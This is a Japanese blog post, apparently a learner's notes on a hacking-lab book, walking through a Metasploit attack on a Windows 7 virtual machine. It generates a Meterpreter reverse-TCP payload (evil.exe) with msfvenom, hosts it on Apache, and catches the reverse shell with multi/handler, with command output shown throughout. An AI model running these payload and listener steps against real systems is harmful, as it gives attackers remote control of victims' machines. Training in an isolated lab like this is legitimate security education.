IPUSIRON氏著の「ハッキング・ラボの作り方 仮想環境におけるハッカー体験学習」を実践した記録です。
ホストOSはWindows 11です。
第2部
第4章 Windowsのハッキング
4-1 Windows 7のハッキング
Metasploitによるハッキング方法とは
Metasploitは、ネットワークに接続されているコンピュータシステムに対し、実際に侵入を試みることでシステムに脆弱性がないかどうか検証するために使用されるツールです。
ここでは、次の流れでハッキングの実験を行います。
- Kali上で悪意のあるプログラムを作成する
- 上記1のプログラムをWindows 7にコピーする
- Kaliでリバースシェルを待ち受ける
- Windows 7サイドから1のプログラムを実行しKaliに接続する
- KaliからWindows 7を制御する
ここでは、KaliとWindows 7のIPアドレスは以下の通りとします。
Kali | 192.168.56.106 |
Windows 7 | 192.168.56.107 |
Windows 7を操る「あやしい」プログラムをKaliで作成しよう
Kali上のTerminalから以下のコマンドを実行します。
msfconsole
アスキーアートやメッセージが表示された後、以下のプロンプトが表示されます。
msf6 >
次に、searchコマンドで「ペイロード」かつ「TCP対応リバースシェル」かつ「Windows対応」のモジュールを検索します。ここでペイロードとは、実行すると悪意のある動作をするプログラムのことです。
msf6 > search type:payload reverse_tcp platform:windows
今回の検索結果では73行出力されました。ここでは、45行目の以下のモジュールを使用します。
45 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
上記検索結果の、”payload/windows/meterpreter/reverse_tcp”の部分が「パス」と呼ばれ、ペイロードを作成するときに使用されます。
次に下記を実行してペイロードを作成します。
msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.106 -f exe -o $HOME/evil.exe
ここで、オプションの意味は以下の通りです。
-p | searchコマンドで検索したペイロードを作成するためのパス |
LHOST= | ペイロードからの接続先(ここではKaliのIPアドレスを指定) |
-f | 出力する実行ファイルの形式 |
-o | ペイロードの保存先(ここではKaliのホームディレクトリを指定)とファイル名(evil.exe) |
ペイロードをKaliからWindowsにコピーするには
KaliのTerminalから次のコマンドを実行します。
“#”から始まる文字列はコメントです。実行する必要はありません。
sudo -s #スーパーユーザに移行する # /var/www/html/shareにevil.exeをコピーする cd /var/www/html mkdir share cp ~kali/evil.exe share chmod -R 755 share # Apacheを起動してWindow 7からevil.exeをコピーできるようにする systemctl start apache2 systemctl status apache2 # Apacheが正常に起動されたか確認
Windows 7のIE(ブラウザ)から”http://192.168.56.106/share/”にアクセスします。
下のように、Kali上の”evil.exe”が参照できました。
クリックしてダウンロードします。
ここでは、”Desktop”に保存します。
これでペイロード”evil.exe”がWindows 7のデスクトップに保存されました。
Windows 7からの接続を待ち受けるには
KaliのTerminalからmsfconsoleを起動した状態で、以下のコマンドを実行します。ここからは、コマンド実行時の出力結果もともに示します。下では[*]…以降が出力結果です。
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp
続いて下のように、プロンプト(”msf6 exploit(multi/handler) > “)が表示されるので、setサブコマンドで以下を実行します。
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp
次もsetコマンドで、”LHOST”にKaliのIPアドレスを設定します。
msf6 exploit(multi/handler) > set LHOST 192.168.56.106 LHOST => 192.168.56.106
次にオプションの設定をshowサブコマンドで確認します。
msf6 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (generic/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.56.106 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf6 exploit(multi/handler) >
上の実行結果に、”LPORT 4444 yes The listen port”という行があることから、ポート4444で待ち受けることが分かります。
exploitコマンドを実行します。
これでプロンプトが表示されない「待ち受け」状態になりました。
msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.56.106:4444
KaliからWindows 7の操作を行う
ここからは、KaliとWindows 7それぞれの仮想環境を表示したウインドウを、並べて操作できるようにしておくと分かりやすいと思います。
まず、Windows 7の仮想マシンに移ります。
デスクトップにある”evil.exe”のアイコンをダブルクリックして起動します。
以下の画面が表示されたら、[Run]ボタンをクリックします。
ふたたび、Kaliで”exploit”を実行中の待ち受け状態にあるTerminalを確認します。以下のようにメッセージとプロンプトが表示されていたら、KaliからWindows 7の操作が可能になっています。
msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.56.106:4444 [*] Sending stage (175174 bytes) to 192.168.56.107 [*] Meterpreter session 11 opened (192.168.56.106:4444 -> 192.168.56.107:49167 ) at 2022-04-30 21:12:14 +0900 meterpreter >
Windows 7からKaliとのセッションが確立されていることを、netstatコマンドで確認してみましょう。
コマンドプロンプトから下のように入力します。
C:\Users\IEUser>netstat -n | find "ESTABLISHED" TCP 192.168.56.107:49167 192.168.56.106:4444 ESTABLISHED
上記実行結果では、netstatでネットワークの接続状態を出力しています。それをfindコマンドで読み込み、”ESTABLISHED”の文字列を含む行だけを抽出して表示しています。
結果、Windows 7端末(IPアドレス:192.168.56.107)のポート49167から、Kali端末(IPアドレス:192.168.56.106)のポート4444に対して接続が確立されている(ESTABLISHED)ことが確認できました。
Kaliのmeterpreterのプロンプトから以下のようにpwdコマンドやlsコマンドを実行できます。
meterpreter > pwd C:\Users\IEUser\Desktop meterpreter > ls Listing: C:\Users\IEUser\Desktop ================================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 4142172 fil 2022-03-27 19:10:28 +0900 IE8WIN7_20220327.arn 040777/rwxrwxrwx 49152 dir 2022-03-27 18:45:23 +0900 SysinternalsSuite 100666/rw-rw-rw- 47840922 fil 2022-03-27 18:28:02 +0900 SysinternalsSuite.zip 100666/rw-rw-rw- 282 fil 2022-03-25 18:45:09 +0900 desktop.ini 100666/rw-rw-rw- 826 fil 2015-09-21 18:19:49 +0900 eula.lnk 100777/rwxrwxrwx 73802 fil 2022-04-24 22:48:21 +0900 evil.exe 100666/rw-rw-rw- 102979 fil 2022-04-04 15:33:54 +0900 nc111nt.zip
KaliのTerminal上で、Windows 7の「C:\Users\IEUser\Desktop」フォルダの情報が表示されました。
下は、Windows 7のDesktopをエクスプローラで表示したものです。
実際のハッキングでは、ペイロード(ここではevil.exe)がターゲットマシンのバックドアとなり、ターゲット端末上で起動されるよう仕掛けられます。攻撃端末ではそれを待ち受け、リモートから操作を可能とするわけです。
さいごに
今回はMetasploitを使い、リバースシェルによって遠隔操作ができるところまでを紹介しました。
次回は、Metasploitを使用したハッキングの続きを紹介します。